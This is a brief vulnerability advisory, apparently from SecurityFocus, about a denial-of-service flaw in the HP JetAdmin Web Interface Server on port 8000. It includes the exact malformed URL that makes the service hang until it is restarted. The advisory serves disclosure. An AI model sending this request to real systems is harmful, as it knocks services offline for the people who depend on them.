source: http://www.securityfocus.com/bid/1246/info

By default JetAdmin Web Interface Server listens on port 8000. If a malformed URL request is sent to port 8000 this will cause the server services to stop responding. The service must be stopped and restarted to regain normal functionality.

http://target:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:GetProfile(new_list,__null,__null,$